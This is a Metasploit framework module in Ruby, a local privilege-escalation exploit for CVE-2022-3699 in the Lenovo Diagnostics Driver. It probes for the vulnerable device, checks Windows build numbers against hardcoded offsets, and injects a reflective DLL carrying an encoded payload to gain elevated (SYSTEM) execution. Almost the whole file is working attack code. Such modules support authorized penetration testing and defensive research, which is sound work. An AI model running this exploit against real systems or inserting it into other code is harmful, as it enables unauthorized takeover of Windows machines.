
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
          'Description' => %q{
            Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
            issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'alfarom256',    # Original PoC
            'jheysel-r7'     # msf module
          ],
          'Arch' => [ ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
          ],
          'References' => [
            [ 'CVE', '2022-3699' ],
            [ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
          ],
          'DisclosureDate' => '2022-11-09',
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          },
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
              ]
            }
          }
        }
      )
    )
  end

  def check
    unless session.platform == 'windows'
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      return Exploit::CheckCode::Safe
    end

    session.railgun.kernel32.CloseHandle(handle)
    CheckCode::Appears
  end

  def target_compatible?
    build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
    vprint_status("Windows Build Number = #{build_num}")

    return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
    return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
    return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348

    false
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
    unless target_compatible?
      fail_with(Failure::NoTarget, 'The exploit does not support this target')
    end

    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
    end

    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
      [encoded_payload.length].pack('I<') + encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end